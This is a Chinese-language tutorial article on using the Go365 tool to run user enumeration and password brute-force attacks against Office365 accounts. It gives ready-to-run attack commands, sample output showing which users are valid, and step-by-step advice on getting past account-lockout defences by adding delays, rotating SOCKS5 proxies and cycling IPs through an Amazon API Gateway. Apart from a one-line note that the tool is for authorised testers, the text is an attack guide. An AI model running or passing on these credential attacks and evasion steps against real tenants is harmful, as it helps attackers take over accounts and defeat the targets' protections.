怎么使用Go365對(duì)Office365用戶進(jìn)行滲透

本篇內(nèi)容介紹了“怎么使用Go365對(duì)Office365用戶進(jìn)行滲透”的有關(guān)知識(shí)，在實(shí)際案例的操作過程中，不少人都會(huì)遇到這樣的困境，接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧！希望大家仔細(xì)閱讀，能夠?qū)W有所成！

寫在前面的話

Go365這款工具旨在幫助廣大研究人員針對(duì)使用了Office365（現(xiàn)在/即將推出Microsoft365）的組織和用戶執(zhí)行用戶枚舉和密碼爆破攻擊。Go365使用了login.microsoftonline.com上的惟一一個(gè)SOAP API節(jié)點(diǎn)，而login.microsoftonline.com則是很多其他大部分工具都不會(huì)選擇使用的。當(dāng)要求輸入一個(gè)電子郵件地址和密碼時(shí)，這個(gè)終端節(jié)點(diǎn)會(huì)響應(yīng)一個(gè)Azure AD認(rèn)證和授權(quán)代碼，這個(gè)代碼接下來會(huì)交由Go365處理，處理的結(jié)果會(huì)打印至屏幕或輸出到文件。

用戶枚舉和密碼爆破攻擊是同時(shí)執(zhí)行的，不過Go365并沒有提供特定的參數(shù)或功能來允許研究人員僅執(zhí)行用戶枚舉攻擊。Go365每次執(zhí)行一次密碼爆破攻擊，便會(huì)解析一次用戶的身份是否有效。

注意事項(xiàng)

• 此工具可能不適用于所有使用Office365的域。測(cè)試表明，它適用于大多數(shù)聯(lián)合域。即使提供了有效密碼，某些域也只報(bào)告有效用戶，不過不同的場(chǎng)景下實(shí)驗(yàn)結(jié)果可能會(huì)不一樣。

• 該工具針對(duì)不同域的測(cè)試表明，在多次密碼爆破失敗之后，該工具并不會(huì)鎖定目標(biāo)帳戶不過不同的場(chǎng)景下實(shí)驗(yàn)結(jié)果可能會(huì)不一樣。

• 此工具旨在被授權(quán)“滲透”目標(biāo)組織的Office365實(shí)例的安全專業(yè)人員使用。

工具使用

工具使用樣例

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5

./Go365 -up ./userpass_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt

./Go365 -u legituser@pwnthisfakedomain.com -p 'coolpasswordbro!123' -w 5 -o Go365output.txt -proxy 127.0.0.1:1080

./Go365 -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt

./Go365 -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

帳戶鎖定（域防御策略）

溫馨提醒：你可能并沒有真正地鎖定目標(biāo)賬戶。

在對(duì)目標(biāo)域進(jìn)行多次查詢后，工具可能會(huì)開始報(bào)告目標(biāo)賬號(hào)已被鎖定。

一旦觸發(fā)了域防御策略，用戶枚舉的結(jié)果就沒那么可靠了，因?yàn)獒槍?duì)有效和無效用戶的請(qǐng)求將隨機(jī)報(bào)告其帳戶已被鎖定。

...

[-] User not found: test.user90@pwnthisfakedomain.com

[-] User not found: test.user91@pwnthisfakedomain.com

[-] Valid user, but invalid password: test.user92@pwnthisfakedomain.com

[!] Account Locked Out: real.user1@pwnthisfakedomain.com

[-] Valid user, but invalid password: test.user93@pwnthisfakedomain.com

[!] Account Locked Out: valid.user94@pwnthisfakedomain.com

[!] Account Locked Out: jane.smith@pwnthisfakedomain.com

[-] Valid user, but invalid password: real.user95@pwnthisfakedomain.com

[-] Valid user, but invalid password: fake.user96@pwnthisfakedomain.com

[!] Account Locked Out: valid.smith@pwnthisfakedomain.com

...

這是一種防御機(jī)制，如果在一定時(shí)間內(nèi)針對(duì)目標(biāo)域的有效用戶查詢次數(shù)到達(dá)閾值，便會(huì)觸發(fā)這種防御機(jī)制。由于目標(biāo)組織可以自定義設(shè)置這個(gè)閾值，因此嘗試的次數(shù)和時(shí)間段將因目標(biāo)域而異。

應(yīng)對(duì)策略

等待延時(shí)

這種防御機(jī)制是基于時(shí)間和IP地址實(shí)現(xiàn)的，而Go365提供了在請(qǐng)求之間包括等待時(shí)間的選項(xiàng)和用于分發(fā)請(qǐng)求源的代理選項(xiàng)。要規(guī)避目標(biāo)域上的防御機(jī)制，請(qǐng)使用較長(zhǎng)的等待時(shí)間和多個(gè)代理服務(wù)器。

建議至少等待15秒：

-w 15

Socks5代理

如果大家仍然接收到“賬戶鎖定”的響應(yīng)信息，就需要設(shè)置代理來發(fā)送請(qǐng)求了。代理選項(xiàng)目前僅在SSh SOCKS5動(dòng)態(tài)代理（ssh -D <port> user@proxyserver）上進(jìn)行過測(cè)試。

大家可以在DO、AWS或Vultr等平臺(tái)上創(chuàng)建SOCKS5代理，然后創(chuàng)建一個(gè)包含下列格式數(shù)據(jù)的文件：

127.0.0.1:8081

127.0.0.1:8082

127.0.0.1:8083

127.0.0.1:8084

127.0.0.1:8085

127.0.0.1:8086

...

該工具將隨機(jī)迭代提供的代理服務(wù)器，并在請(qǐng)求之間等待指定的時(shí)間延遲。

-w 15 -proxyfile ./proxies.txt

亞馬遜API網(wǎng)關(guān)

除此之外，我們還可以指定節(jié)點(diǎn)URL，以便此工具可以與亞馬遜API網(wǎng)關(guān)進(jìn)行交互對(duì)接。此時(shí)，我們需要設(shè)置網(wǎng)關(guān)以指向https://login.microsoftonline.com/rst2.srf節(jié)點(diǎn)，然后將-url參數(shù)設(shè)置為指向調(diào)用的URL地址。這里需要注意的是，我們的IP地址應(yīng)該在每次發(fā)送請(qǐng)求之后進(jìn)行地址輪換：

-url https://k62g98dne3.execute-api.us-east-2.amazonaws.com/login

“怎么使用Go365對(duì)Office365用戶進(jìn)行滲透”的內(nèi)容就介紹到這里了，感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站，小編將為大家輸出更多高質(zhì)量的實(shí)用文章！